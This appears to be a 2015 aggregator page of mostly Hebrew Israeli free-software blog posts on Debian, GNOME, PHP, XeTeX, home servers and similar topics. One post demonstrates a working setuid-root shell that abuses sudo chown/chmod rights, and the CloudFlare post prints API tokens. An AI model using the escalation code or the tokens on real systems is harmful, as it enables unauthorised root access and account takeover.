libhdate-php הוא מימוש ב php נקי של ספרית libhdate. המימוש משתמש באותם אלגורתמים וקבועים כמו הספריה ב C. אך כתוב כולו ב php. הספריה יודעת להמיר תאריכים לועזיים ועבריים, להציג חגים, קריאות בתורה וגם לחשב את זמני היום.

הטקסט המלא

14 May, 2015 04:02 PM

01 May, 2015

Hamakor

אוגוסט פינגווין 2015 — קריאה למארגנים

לאחר הפסקה של שנה, עמותת המקור רוצה להחזיר למסלול את מסורת אוגוסט פינגווין,
הכנס הקהילתי לתוכנה חופשית. לשם כך יש צורך במתנדבים ומתנדבות שיארגנו את הכנס,
וכן כאלה שיעזרו בכל מה שמסביב (בהתאם למטלות שינתנו בהמשך); בואו לסייע, ותוכלו
להשפיע על אופי הכנס, תכניו, ואפילו מיקומו.

ניתן לראות הערכה לגבי המשימות והתפקידים הנדרשים, במדריך לארגון אוגוסט פינגווין.

נשמח לשמוע מכם בכל דרך (למשל במייל ל־board@hamakor.org.il) לגבי עזרה
מכל סוג. בייחוד לגבי עזרה בארגון הכללי של הכנס, נשמח לקבל תגובות בשבוע הקרוב,
כדי להחליט על המארגנים הראשיים — הזמן כבר קצת דוחק.

בואו לעזור – הכנס הוא של כולנו!

Share

01 May, 2015 11:27 AM

15 April, 2015

Boris Shtrasman

וחייה היונה ביחד עם Lync

בשעה טובה ומצלחת קיבלתי גישה לשירות ה Lync  עבור המשתמש שלי , השירות שלי מסופק ע"י  Office365 ללא אחסון מקומי.

שם המשתמש שלי לחיבור עבור office365 הוא user@myerfm.blogspot.com והסיסמה היא secret.

 אצתי רצתי ליונה (pidgin) התקנתי את SIPE (יאפ על וינדוס) אז  :


לאחר מכן בטאב של מאפיינים מתקדמים יש למלא :

החלק החשוב זה ה UA אצלי עבד עם :
UCCAPI/15.0.4420.1017 OC/15.0.4420.1017 (Microsoft Lync)


מה לא עובד :

ביצוע שיחות קוליות (צד שני לא מקבל התראה על שיחה נכנסת).
העברת קבצים. 

מה כן עבד :
IM
OTR עושה קולות של עובד.
חיפוש והוספת משתמשים מאנשי הקשר ב office365
 

15 April, 2015 06:09 PM

28 March, 2015

Lior Kaplan

תשע שנים כמפתח דביאן

החודש עברו 9 שנים מאז שקיבלתי מעמד פורמלי בדביאן כמפתח (Debian Developer). למרות השם, עיקר הפעילות היא תחזוקת חבילות ולא פיתוח קוד נטו. תהליך הכניסה היה ארוך ומתיש, אך ללא ספק העמיק את ההבנה והיכולות הטכניות שלי. בבלוג הישן שלי יש פוסט "סיום ההסמכה וקבלת הכרה רשמית" שנותן מבט-על על התהליך.

רמת המעורבות שלי בדביאן עולה ויורדת בהתאם לעומס הכללי שלי, אך הדבר הקבוע שכל עיסוק אחר שלי בקוד פתוח, מוצא בסופו של דבר את החיבור שלו לדביאן. לאורך השנים זה היה ליברה אופיס ובזמן האחרון זה PHP בהם הפעילות בפרוייקטים עוזרת לשפר את המצב בדביאן. לפעמים זה דרך קידום באגים שמפריעים למשתמשי ההפצה, פתרון בעיות טכניות של צוות האריזה וכו'. בשני המקרים האלה, יש גם שיתוף פעולה הדוק בכיוון ההפוך, כאשר אורזים את הגרסאות החדשות להפצה וכך עוזרים לבצע בדיקות בהיקף רחב יותר. בבלוג באנגלית יש דוגמה על שיתוף פעולה זה כחלק מתהליך של PHP 5.6.

מעבר לצד הטכני, אני משתדל להגיע לכנסי דביאן לאורך השנים (2005, 2006, 2007, 2011, 2013) כדי לפגוש את הקהילה פנים מול פנים וכדי לפגוש אנשים מפרוייקטי קוד פתוח אחרים שמגיעים לאירוע. בגלל הצד האנושי, אני מוכרח להודות שמפגשים אלה, הגם שכרוכים בהם המון שעות מול המחשב (סוף סוף זמן שקט לקוד פתוח) הם עדיין סוג של חופשה שנתית. להרגשתי, זה גם אחד הדברים ששומרים על הגחלת של המשך הפעילות בפרוייקט – שיש משהו מעבר לצד הטכני נטו.


תויק תחת:Debian GNU/Linux

28 March, 2015 11:07 AM

25 March, 2015

Yosef Or Boczko

‏GNOME 3.16 שוחרר !

ערב טוב.

לאחר מחזור פיתוח בן שישה חודשים, שוחררה גרסה 3.16 של שולחן העבודה GNOME !

GNOME 3.16.0 Hebrew

גרסה זו מכילה 33525 שינויים שנרשמו ב־Git על ידי 1043 תורמים, בהשוואה ל־28859 שינויים על ידי 871 תורמים ב־3.14.

אחוז התרגום עומד על 82% (35965 מחרוזות מתורגמות, 3087 מעורפלות ו־4453 שאינן מתורגמות) בהשוואה ל־84% (36629 מחרוזות מתורגמות, 2698 מעורפלות ו־3966 שאינן מתורגמות) ב־3.14 ומספר דומה ב־3.12. על התרגום בעיקר אני אחראי, יחד עם ירון ואנטולי. אני מקווה שאמצא זמן להשלים את הפער מהגרסות הקודמות, לקראת 3.18. עדיין, שולחן העבודה מתורגם באופן מלא (קרי, אני לא מוצא מחרוזות שאינן מתורגמות ביישומי GNOME הרשמיים המתורגמים).

כל המעוניין לעזור במלאכת התרגום יותר ממוזמן לשלוח לי הודעה לדוא״ל (yoseforb תחת gnome dot org), מדי פעם אני גם נמצא בערוץ ‎#gnome-il תחת GimpNet בכינוי yoseforb.

אציין כי התרגום מתבצע על פי כללי התרגום של מיזם גֶּזֶר.

ברשומה אותה פרסמתי לפני שלושה שבועות סקרתי את השינויים העיקריים במחזור פיתוח זה. אציין כי אמש מוזג ענף פיתוח משמעותי של gnome-builder, על כן הרשומה אינה עדכנית ליישום זה (וכך גם תרגום הממשק, אגב).

אשוב ואבקש עצה לתרגום שם היישום MultiWriter. כפי שכתבתי ברשומה הקודמת, „רב כותב” לא מוצא חן בעיני.

אוסיף ואבקש רעיון לתרגום סביבת הפיתוח החדשה ל־GNOME, הנקראת Builder. בנאי או בונה גם לא נשמע לי.

להלן מוטמע סרטון המציג את GNOME 3.16. קריינות על ידי קארן סנדלר, לשעבר מנכ״ל קרן GNOME, עריכה על ידי Bastian Ilsø, שערך גם את הסרטון עבור הגרסה הקודמת, 3.14.

אציין כי במחזור פיתוח זה לא הייתי מעורב כבעבר. הכנסתי מעט שינויים לדפדפן GNOME והשארתי לעצמי כמה עבודות בהתהוות מבלי להשלימן. את התרגום, אני מקווה, הספקתי לעדכן.

כרגיל, אוסיף כאן שיר. שיר מיוחד. כמה שאשמע אותו, לי יהא כאילו זו פעם ראשונה אני שומע שיר זה.

גם שיר זה מאריאל הורוביץ, ועל כך תודה לו.

בברכה,

יוסף אור

25 March, 2015 04:31 PM

21 March, 2015

Guy Rutenberg

Hebrew with XeTeX Example

This is an example of a document in XeTeX (Actually XeLaTeX). I’ve used The fonts from the Culmus Project. Note that you’ll need Culmus 0.121 or newer in order to get the Frank Ruehl font in TrueType. As you can see, Nikud are placed correctly. The cantillation marks (טעמי המקרא) are in a small offset compared to the ideal position.

Overall, XeTeX works much better with Hebrew (and easier to use) than pdfTeX.

heb-test

\documentclass{minimal}
\usepackage{polyglossia}
\setdefaultlanguage{hebrew}
\setotherlanguage{english}
\usepackage{fontspec}
\setmainfont{Frank Ruehl CLM}
\setmonofont{Miriam Mono CLM}
\setsansfont{Simple CLM}
% Use the following if you only want to change the font for Hebrew
%\newfontfamily\hebrewfont[Script=Hebrew]{David CLM}
%\newfontfamily\hebrewfonttt[Script=Hebrew]{Miriam Mono CLM}
%\newfontfamily\hebrewfontsf[Script=Hebrew]{Simple CLM}
 
 
 
\makeatletter
\makeatother
\usepackage{bidi}
\begin{document}
טקסט רגיל
\textbf{טקסט מודגש}
\textit{טקסט נטוי}
\textit{\textbf{טקסט מודגש ונטוי}}
בְּרֵאשִׁ֖ית בָּרָ֣א אֱלֹהִ֑ים אֵ֥ת הַשָּׁמַ֖יִם וְאֵ֥ת הָאָֽרֶץ:
 
\begin{english}
In the beginning God created the heaven and the earth.
\end{english}
 
\sffamily
טקסט רגיל
\textbf{טקסט מודגש}
\textit{טקסט נטוי}
\textit{\textbf{טקסט מודגש ונטוי}}
בְּרֵאשִׁ֖ית בָּרָ֣א אֱלֹהִ֑ים אֵ֥ת הַשָּׁמַ֖יִם וְאֵ֥ת הָאָֽרֶץ:
 
\begin{english}
In the beginning God created the heaven and the earth.
\end{english}
 
 
\ttfamily
טקסט רגיל
\textbf{טקסט מודגש}
\textit{טקסט נטוי}
\textit{\textbf{טקסט מודגש ונטוי}}
בְּרֵאשִׁ֖ית בָּרָ֣א אֱלֹהִ֑ים אֵ֥ת הַשָּׁמַ֖יִם וְאֵ֥ת הָאָֽרֶץ:
 
\begin{english}
In the beginning God created the heaven and the earth.
\end{english}
\end{document}

21 March, 2015 07:58 AM

19 March, 2015

Lior Kaplan

CVE assignment without upstream knowledge

In the past few months I’ve been dealing with aligning PHP CVE information to enable easier tracking of security fixes. The two main locations are the NEWS file which is part of each release and the changelog available on the website which is more popular (and easier to update).

Usually the CVE are assigned per PHP.net security team request or with cooperation with one of the Linux distribution’s teams (either PHP or security), as should be in a good ecosystem.

Recently I got a few notifications issued by Debian about its PHP package, which I wasn’t familiar with these CVE IDS. When checking this, I found out a few CVE assigned per 3rd party (Linux distribution, bug reporter, etc…) request without upstream knowledge. Digging deeper I found out that some CVE were assigned a month after the fixes were released, while others were only a week or two after. While this makes sure the security information is documented, it’s harder to add the information after tagging and releasing.

In another case, while discussing about a CVE for a specific bug, we found out one was already assigned per the reporter’s request but without the our or the upstream library knowledge. Even if the issue isn’t severe, upstream should get a fair chance to fix issue before making them public. Which also leads to a problem with requesting CVE IDs on a public mailing list which in some cases leads to security information leakage. We should balance transparency with some grace period for upstreams (as projects share code).


Filed under: Debian GNU/Linux, PHP

Full text

19 March, 2015 05:33 PM

13 March, 2015

Lior Kaplan

PHP7 replaces non-free JSON extension

For many the PHP JSON extension license might look like a storm in a teacup, but for many Linux distributions the bits of the free software licenses are very important. That was the case when Debian decided (#692613) to remove the non-free JSON extension as part of the transition to PHP 5.5 in May 2013 (after the Debian 7 release).

This change was done with the help of Remi Collet (from Fedora / Red Hat) who wrote an alternative extension based on JSON-C implementation. A similar change was done by other Linux distributions, and this became the defacto standard for most Linux users.

The situation has recently changed with the acceptance of the Jakub Zelenka’s jsond RFC to replace the current non-free implementation with a free one. The change was committed to the code base on early February (Closing #63520) and expected to be released later this year as part of PHP7.


Filed under: Free software licenses, PHP

Full text

13 March, 2015 09:43 AM

12 March, 2015

David Kaplan

CUPCake: sim.py -> sim.nim

So the (Python3) simulator is slllooowwwww (Kernel running at ~400KHz) and I decided to see whether there was some easy way to rectify the situation. Ultimately I'm simulating a very simple 8-bit RISC-based machine - albeit SPI-transaction-heavy for the display - and 400KHz on my 3GHz Haswell i5 is simply abysmal!

Unrelated to this issue, a few weeks ago I chanced across some discussions extolling and debating the virtues of some 'modern' languages. Having given Go[lang] a 'go' in the past - and disliking the experience immensly - I wondered if there was anything else out there that I could learn as I do enjoy learning new languages from time-to-time. And that's when I came across Nim.

What caught my eye was that is was being sold as a 'Python-like' language in respect to syntax and ease-of-use which generated Native code. Furthermore, its killer feature in my opinion is its ability to evaluate user functions at compile time and optimize accordingly.

To cut a long story short, I decided to re-implement the simulator in Nim, both as a way to learn the language and to see whether it would improve performance.

As a disclaimer: I don't yet know much Nim and my code is rubbish (e.g. I couldn't work out how to get a function-lookup hashtable working so I just went for the good ol' case-statement route for now). I basically just wrote it like i write Python and it mostly worked out okay.

At some point last night, the simulator's Nim-rewrite reached feature-parity (sans command line options) with the Python implementation (as of now depricated).

Kernel test executing on Nim simulator

I'm pretty happy with how this exercise worked out. The results are fantastic! The same kernel code is running on the nim-based (and hence native code) simulator (sim.nim, simdisplay.nim) about a factor of 10X better than the Python one! 3.5-4MHz is more like it! It's still around 10X-20X worse than the hardware should be but good enough for what I'm simulating at the moment. I can potentially eek out some more performance from it by writing code like a normal person and perhaps using an openGL-accelerated surface for the display; but that's an exercise for another time!

Nim is a great language and is a good demonstration of why Python isn't always 'good enough'. Highly recommended.

12 March, 2015 02:01 PM

01 March, 2015

Boris Shtrasman

ענני


השבוע חזרתי קצת לילדות בשביל להרים סביבת עבודה נוחה יותר לבית; מפה לשם הייתי צריך להיזכר באיך מרימים שרתי דוא"ל ,שירותי קבצים (webdav) ואימות.תוך כדי הבנייה קיבלתי תזכורת כואבת כי צריך לתרגל  כי אחרת שוכחים דברים מה שהוביל לכמעט יום עבודה במקום מספר שעות בודדות.

המערכת בנוייה בצורה הבאה :

כל לקוח שצריך להתחבר למערכת מתחבר באמצעות openvpn לתוך הרשת הפנימית שלי ושם מקבל שירותי דוא"ל , אנשי קשר,ויומן.



שירותי ה DNS שבתוך שרת ה openvpn ניתנים ע"י bind9, שירותי הדואל מסופקים ע"י dovecot ו exim4 היומן ואנשי הקשר מסופקים ע"י ownloud.

בשביל ה SSL יצרתי לעצמי CA אישי וחתמתי על האישורים ע"י ה CA הזה , לאחר מכן התקנתי את האישור בכל אחד מהמכשירים שצריכים להתחבר (הנה מדריך מצויין).

שירותי ההזדהות של exim משתמשים ב SASL (בחרתי ב SASL כי אני רוצה לחבר גם ejabbered לסביבה וזה יקל עלי את החיים לאחר מכאן) (מדריך כאן).

בגלל שבחרתי לעבוד עם משתמשים אמיתיים (ולא וירטואליים) נכון לרגע זה , הדבר מאפשר שכל משתמש מכיל את האפשרות לקבל את כל המיילים שלו מגימייל לשירות המייל הפנימי ע"י הגדרה אישית מולו.

פעולה זו מתבצעת ע"י fetchmail + cron , יש ליצור הגדרה עבור כל משתמש שרוצה את העבודה בצורה הבאה :

usera@sinta:~$ cat .fetchmailrc

poll pop.gmail.com with proto POP3 and options no dns port 995 user gmailuser@gmail.com there with password gmailpassword is usera here options ssl


לאחר מכאן ביצוע crontab -e מתוך המשתמש בשביל להוסיף את fetchmail -vk.

לאחר מכן לקוח אנדרויד יכול למשוך את ההודעות ע"י שימוש ב K9 ולגשת לממשק המשתמש ע"י הדפדפן האוהב עליו.

להפתעתי גיליתי של firefox 35 שמסופק ע"י f-droid יש בעייה בעבודה עם שירות ה dns שנדחף ע"י openvpn בגלל באג פתוח עד 35 כולל, בגירסה 36 זה קורה פחות אבל זה היה פשוט מטמטם הבטיחו לתקן ב 37 נחייה ונראה.

עבור המערכת שתספק אנשי הקשר והיומן בחרתי ב owncloud במקום ב kolab או citadel ללא שום סיבה מיוחדת.בדרך גיליתי עד כמה ממשק המשתמש של owncloud איטי ועקום לטעמי, אבל שאר המערכות נראות כמתפקדות ללא שום בעייה ייתכן וזה קשור לעובדה שכל זה רץ מתוך רסבריי פי.

לדוגמה ייבוא יומנים מ ICS  - הדרך לייבא היא העלאה של הקובץ ולאחר מכאן (דרך ממשק משתמש) ללחוץ עליו ורק אז תשאל לאן תרצה לייבא את היומן.

עיגון תיקיות ה webdav ככונן משותף עבד חלק בדביאן, בוינדוס 7 ובאנדרואיד השתמשתי באפליקציה (הצולעת לטעמי) owncloud.

השלב הבא בבנייה (שאותה לא עשיתי עדיין) הוא הרמה של slapd וכיוון של כלל המערכות לעבוד מולו, אני חושב שזה עדיף בשביל הזיהוי מאשר עבודה מול טבלאות בשרת דואל (כך גם אין לי vendor lock מעצבן כמו שיש ב KDE). בניית סביבת ejabbered ועוד.

01 March, 2015 04:35 PM

28 February, 2015

Shlomi Fish

Tech Tip: How to Configure Qt 5 Behaviour When Running on KDE4

Recently, I noticed that when running the VLC-2.2.0 prerelease, which is based on Qt 5 for its GUI, on my Mageia Linux 5 system on top of KDE 4, then in the playlist a single-click immediately played a file instead of selecting it, while reserving a double click for activation. After a long amount of research and thought, I figured out a way to configure Qt 5 on top of KDE.

To do so:

  1. Install lxqt-config and the “lxqt-qtplugin”.

  2. Add the line “export QT_QPA_PLATFORMTHEME=lxqt” somewhere before the desktop startup in your “.Xclients” or “.xinitrc” file (or in your “.bashrc”).

  3. Restart the X/KDE environment.

  4. Run “lxqt-config” to configure the appropriate behaviour.

This way one can use the Qt5 customisations of lxqt in KDE 4. Enjoy!

Licence

You can reuse this entry under the Creative Commons Attribution 3.0 Unported licence, or at your option any later version. See the instructions of how to comply with it.

28 February, 2015 12:12 PM

30 January, 2015

Dan Fruehauf

Privilege Escalation – be slack and pay for it

My predecessor(s) had left a bunch of people at my work place (not even developers) with sudo access to chown and chmod – for the purpose of data management. For a while I had tried to explain that having sudo access to just those two commands is effectively having full root access on the machines.

I had to demonstrate it. So I did:

cat <<EOF >> make-me-root.c
#include <unistd.h>
int main() {
    setuid(0);
    execv("/bin/bash", NULL);
    return 0;
}
EOF

gcc -o make-me-root make-me-root.c
sudo chown root make-me-root
sudo chmod u+s make-me-root

./make-me-root

Alright, demonstrated. Now it’s time for the raising eyebrows to follow.

And now also comes the part where I know it’s almost impossible to revoke privileges from people after they got used to a broken workflow.


30 January, 2015 12:43 AM

26 January, 2015

Rabin Yasharzadeh

Speed up a MySQL restore from a dump file

This is a small snippet I found to speed up importing MySQL dumps, it’s is almost as fast as coping the DB files directly.

Pre INSERT

Put the commands at the top of the dump file, e.g pre.sql,

SET @OLD_AUTOCOMMIT=@@AUTOCOMMIT, AUTOCOMMIT = 0;
SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS = 0;
SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS = 0;

 Post INSERT

Put these statements at the end of the dump file, e.g post.sql,

SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS;
SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS;
SET AUTOCOMMIT = @OLD_AUTOCOMMIT;

Example

cat <(cat pre.sql) <(bzcat mydb_backup.sql.bz2) <(cat post.sql) | mysql

 

26 January, 2015 02:55 PM

17 January, 2015

David Kaplan

CUPCake: Display simulation and Kernel character generation

I have made quite a bit of progress this weekend.

Firstly I'm nearing finalizing the ISA (Instruction Set Architecture) which I've started documenting. Currently most instructions are supported by the hardware itself bar the register-offset addressing.

As the defined ISA has overtaken hardware support, I decided that it's probably best implementing it as per the spec in the simulator; mainly to see if it's sufficient to do actual Turing-complete processing. To this end I've updated the simulator with support for the whole ISA. I've also made some major changes to the assembler to both in regards to suppls -lh te orting the new instructions and expand the lexical support. The assembler now can handle variables (in both .bss and .data), handles labels better, understands %define and can assemble the new offset addressing syntax.

One of the major new features in the simulator is (hacked together) support for my SPI-driven display module. I'm intending on using the ST7735R-based 1.8" LCD module from Adafruit driven off the first hardware SPI driver (SPI0). The simulated display is implemented using Pygame (SDL) and supports a 256x256 display matrix.

I have also made a start on the actual Kernel code itself. This currently consists of a basic SPI driver, the display driver for the ST7735R (sans proper init code as the simulator doesn't currently need it) and simple text routines.

For the character set I'm using the C64 character ROM with a basic routine to provide ASCII support. Here's the Kernel executing a routine on the simulator which dumps the charset:

Kernel test executing on simulator

The simulator is actually pretty slow. I'm getting ~400Khz on my Haswell i5. The hardware should run at around 100Mhz so a factor of ~250 better. Still a full screen refresh over SPI is pretty expensive...

17 January, 2015 09:47 PM

Shlomi Israeli

אלן טיורינג, הדברים שאנו חייבים לו והדברים שאנו חייבים לזכור ממנו

stock_internetאני בטוח שאין מישהו שמתעסק מעט בתחום המחשבים, שלא שמע על טיורינג. ובכן, ישנם שני קונספטים מתמטיים הקרואים כך, ישנה מכונת טיורינג וישנו מבחן טיורינג. אלו נקראו על שם המתמטיקאי הבריטי, אלן טיורינג אשר פיתח אותן. הראשונה מהווה את המודל המתמטי הראשון שפתח את הדלת לכל התחום הזה של מדעי המחשב, השניה פתחה את הדלת לתחום הבינה המלכותית.

מכונת טיורינג כאמור היא בסך הכל מודל מתמטי, היא אינה מחשב. המחשב הוא מימוש מסויים שלה.המודל אומר שיש לנו סרט כתיבה אינסופי שבכל שלב אפשר להזיז אותו ימינה או שמאלה, או לכתוב עליו 0 או 1. במונחי מחשבים של היום, הסרט הוא הזכרון או שטח האיחסון ואילו מה שמבצע את הפעולות עצמן הוא המעבד. פיתוח מודל זה היווה כאמור הפתח לקיומם של המחשבים של ימינו. הוא אחראי ישירות על המציאות שבה אנו חיים היום. אילולא טיורינג, היום לא היה לנו מחשב, לא היה לייק בפייסבוק, לא הייתם יכולים לקרוא את המאמר הזה ולא הייתם יכולים להגיב לו, העולם היה שונה לחלוטין. סביר גם להניח שחלקכם לא הייתם כלל נולדים.

בזכות פועלו של אלן טיורינג, פיצחו הבריטים את ההצפנה הנאצית, האניגמה. בזכות זה שהם בנו את המחשב הראשון.
אשאיר ל-Numberphile המעולה את הכבוד להסביר עליה:

אני כותב על זה, בעקבות הסרט "משחק החיקוי", שלמרות חוסר הדיוקים שבו, לדעתי די מוצלח ודי מומלץ לצפיה. הוא מעשיר את הידע בהיסטוריה חשובה, בתחום המחשבים בפרט ומלחמת העולם השניה בכלל. אך יותר מזה, הוא מציג גם את הפן האישי, של האדם שנקרא אלן טיורינג, הוא מראה את הדברים שהוא עבר כילד (לא יודע כמה זה מדוייק), את תקופת חייו בזמן המלחמה, ואחריה וכמובן את סופו.

בדצמבר 2013, קיבל אלן טיורינג חנינה ממלכת אנגליה, על עבירה חמורה שביצע. אלן טיורינג לאחר המלחמה לא זכה לכבוד או להערכה כלשהי מארצו, שחייבת לו כל כך הרבה. מספר שנים לאחר מכן, הואשם בעבירה קשה, שעליה נדון לעבור סירוס כימי, לאחר מכן הוא התאבד. אין זה חד משמעי, אך כנראה טבל תפוח בציאניד ואכל אותו (הלוגו של אפל אגב, מעוצב כך לזכרו). אלן טיורינג הואשם כהומוסקסואל.

לפני מספר שנים, כשטים קוק יצא מהארון (כן, זה היה לפני כמה שנים – בוקר טוב), שאלו אותי אם אני רואה בו משהו שאני צריך להתגאות בו. לא התרשמתי במיוחד, לי תמיד היה את אלן טיורינג כמודל.

זה מפתיע אותי לפעמים, שלאחר כל כך הרבה שנים, האנושות לא למדה דבר. קל לנו לבוא ולקחת זכויות בסיסיות מאנשים, בגלל שהם שונים מאיתנו, בגלל שהם נולדו שונים. הגזענות הזו, שקיימת גם היום, יורקת בפרצופיהם של המונים, שתורמים לחברה בצורה כזו או אחרת. אלן טיורינג היה אחד המוחות המדהימים של המאה האחרונה, כולנו חייבים לו את חיינו, אם לא חיינו הפיזיים, אז את אופיים של חיינו. אנחנו חיים בעולם דיגיטלי מתקדם, בו לכל אחד יש גישה למקורות מידע רבים ומגוונים. הטכנולוגיה קיבלה קפיצה מדהימה מאז, ואילולא הוא, הכל היה שונה.

דבר מעניין וטוב שראיתי בסרט, הוא ההקבלה לזכויות האישה. מודה שאני לא מכיר את הפרט הזה לעומק, אבל ג'ואן, שהיתה מאורסת אליו בתקופת המלחמה ועבדה עמו יחדיו, זכתה לפקפוק וליחס נחות יותר משאר אנשי הצוות מצד הצבא, רק בגלל היותה אישה. למרות (שלפי הסרט) היתה טובה יותר מכולם. חוסר היכולת שלנו להבין שנשים יכולות להיות טובות מגברים לפעמים או אפילו מדירים אותן, מורידים להן זכויות וכו', מראה כמה דפוקה הגישה הזו.

אם זה היה לפני שנה, שאנשים לא הבינו מדוע זה לא בסדר שיעמוד בראש ארגון קוד פתוח, גזען, או היום שלאנשים קל לוותר על זכויות של אחרים כדי לקדם את האג'נדה שלהם מבלי להניד עפעף. שכיום ישנם גורמים רבים שדואגים לשימור הגזענות והשנאה, ליצירת פערים בזכויות שניתנות לחלקים שונים באוכלוסיה. אלו אנשים שיגרמו לחורבן התרבות ולחורבן הקיום שלנו. הם מחלישים אותנו במקום לחזק אותנו. אף ארגון לא יכול להרשות לעצמו גישה שכזו, לא מדינה ולא חברת קוד פתוח, לשם קדמה צריך שוויון זכויות – לאפליה אין כאן שום מקום.

פלא שבגלל גורמים אלו, כיום אחוז ניכר מהילדים שמתאבדים הוא בקרב להט"בים? בגלל הניכור החברתי שהם מקבלים עקב השונות שלהם שמקבל עידוד מאותם גורמים? ומי יודע, אולי אחד הילדים האלו היה יכול לגדול להיות אלן טיורינג הבא.
נקודה למחשבה.

17 January, 2015 05:32 PM

05 January, 2015

Amir Aharoni

Continuous Translation and Rewarding Volunteers

In November I gave a talk about how we do localization in Wikimedia at a localization meetup in Tel-Aviv, kindly organized by Eyal Mrejen from Wix.

I presented translatewiki.net and UniversalLanguageSelector. I quickly and quite casually said that when you submit a translation at translatewiki, the translation will be deployed to the live Wikipedia sites in your language within a day or two, after one of translatewiki.net staff members will synchronize the translations database with the MediaWiki source code repository and a scheduled job will copy the new translation to the live site.

Yesterday I attended another of those localization meetups, in which Wix developers themselves presented what they call “Continuous Translation”, similarly to “Continuous Integration“, a popular software deployment methodology. Without going into deep details, “Continuous Translation” as described by Wix is pretty much the same thing as what we have been doing in the Wikimedia world: Translators’ work is separated from coding; all languages are stored in the same way; the translations are validated, merged and deployed as quickly and as automatically as possible. That’s how we’ve been doing it since 2009 or so, without bothering to give this methodology a name.

So in my talk I mentioned it quickly and casually, and the Wix developers did most of their talk about it.

I guess that Wix are doing it because it’s good for their business. Wikimedia is also doing it because it’s good for our business, although our business is not about money, but about making end users and volunteer translators happy. Wikimedia’s main goal is to make useful knowledge accessible to all of humanity, and knowledge is more accessible if our website’s user interface is fully translated; and since we have to rely on volunteers for translation, we have to make them happy by making their work as comfortable and rewarding as possible. Quick deployments is one of those things that provide this rewarding feeling.

Another presentation in yesterday’s meetup was by Orit Yehezkel, who showed how localization is done in Waze, a popular traffic-aware GPS navigator app. It is a commercial product that relies on advertisement for revenue, but for the actual functionality of mapping, reporting traffic and localization, it relies on a loyal community of volunteers. One thing that I especially loved in this presentation is Orit’s explanation of why it is better to get the translations from the volunteer community rather than from a commercial translation service: “Our users understand our product better than anybody else”.

I’ve been always saying the same thing about Wikimedia: Wikimedia projects editors are better than anybody else in understanding the internal lingo, the functionality, the processes and hence – the context of all the details of the interface and the right way to translate them.


Filed under: Free Software, localization, software, Wikipedia Tagged: Waze, Wix

05 January, 2015 03:30 PM

17 December, 2014

Rabin Yasharzadeh

Dynamic DNS with CloudFlare

This is a simple hack I found for my self to have a “Dynamic DNS” for my home IP.

I’m using CloudFlare as my name server to manage the zone file for my domain, And one of the nice things about FC is that they have nice API to manage your account. One of the options this API provides is the capability to update you DNS entries in the Zone.

Get your token

For all the action with the API you’ll 3 thinks, your privet token (called tkn in the API),  email and the action you like to perform.

You can find your token under your Account page

DNS Record ID

Next you’ll need to find the action you like to perform, in my case is to edit the zone file. which is under the “DNS Record Management” -> rec_edit menu, but for using this action you will need the ID number for the recored you like to change, and for that you will need to use “rec_load_all” action.

e.g

curl https://www.cloudflare.com/api_json.html \
  -d 'a=rec_load_all' \
  -d 'tkn=8afbe6dea02407989af4dd4c97bb6e25' \
  -d 'email=sample@example.com' \
  -d 'z=example.com'

The output will be in a JSON format, and the part you are looking for will look similar to this,

...
{
    "rec_id": "18136402",
    "rec_tag": "3bcef45cdf5b7638b13cfb89f1b6e716",
    "zone_name": "example.com",
    "name": "test.example.com",
    "display_name": "test",
    "type": "A",
    "prio": null,
    "content": "[server IP]",
    "display_content": "[server IP]",
    "ttl": "1",
    "ttl_ceil": 86400,
    "ssl_id": null,
    "ssl_status": null,
    "ssl_expires_on": null,
    "auto_ttl": 1,
    "service_mode": "0",
    -
    "props": {
        "proxiable": 1,
        "cloud_on": 0,
        "cf_open": 1,
        "ssl": 0,
        "expired_ssl": 0,
        "expiring_ssl": 0,
        "pending_ssl": 0
    }
...

Edit/Update the DNS record

Now that you have the ID for the record you like to change, it’s a matter of a simple curl command,

curl https://www.cloudflare.com/api_json.html \
  -d 'a=rec_edit' \
  -d 'tkn=8afbe6dea02407989af4dd4c97bb6e25' \
  -d 'id=18136402' \
  -d 'email=sample@example.com' \
  -d 'z=example.com' \
  -d 'type=A' \
  -d 'name=test' \
  -d 'content=1.2.3.4' \
  -d 'service_mode=0' \
  -d 'ttl=1'

This command will update the IP to 1.2.3.4 for test.example.com entery.

Automate the update process

To automate the process, i have a cron job which runs every 5 minutes, and query my external IP and compare it to the resolved IP form my DNS.

#!/bin/bash

CURRENT_IP=$(dig myip.opendns.com @resolver1.opendns.com +short)
RESOLVE_IP=$(dig dyn.example.com +short @jean.ns.cloudflare.com)

if [[ ${CURRENT_IP} != ${RESOLVE_IP} ]] ;
then
    echo "need to update IP from: ${RESOLVE_IP} -> ${CURRENT_IP}"
    curl https://www.cloudflare.com/api_json.html -d 'a=rec_edit' \
        -d 'tkn=c7ee1aef8131daf52e103a21a786ecbd99193' \
        -d 'email=X@Y.Z' \
        -d 'id=42' \
        -d 'z=example.com' \
        -d 'type=A' \
        -d 'name=dyn' \
        -d 'content='${CURRENT_IP} \
        -d 'service_mode=0' \
        -d 'ttl=120' \


else
    echo "nothing to do"
    exit 0;
fi

 

17 December, 2014 11:25 PM

20 November, 2014

Lior Kaplan

קוד פתוח בממשלת ישראל

נושא הקוד הפתוח בממשלה מעסיק אותי יותר מעשור. זה התבטא בהופעה בועדות שמידי פעם מונו, שעות ייעוץ לגופים שונים, שיחות רקע לעיתונאים ופה ושם גם ראיון. במקביל השתדלתי לתעד בויקי של המקור את השימוש של קוד פתוח בממשלה, לפחות מה שנחשף בציבור ואפשר לייחס למקור ברור.

באדיבות רם-און אגמון, הופתעתי השבוע לגלות מסמך של מרכז המחקר של הכנסת "השימוש במערכות מחשוב מבוססות קוד פתוח במשרדי הממשלה" שבודק מה המצב של הקוד הפתוח בממשלה השנה (2014). המסמך נוצר לבקשת חברת הכנסת תמר זנדברג (מרצ) ורקע לדיון עתידי בנושא זה בועדת המדע והטכנולוגיה. הסיבה שהתלהבתי מהמסמך הוא שהוא מתעד גם את ההיסטוריה של העיסוק הממשלתיבנושא (עוד מ-2002) וגם שימושים בתוך הממשלה שלא הכרתי וזאת בתשובה של גופים שונים לבירורים של מרכז המחקר (ולמרות שמעט מאוד גופים טרחו לענות).

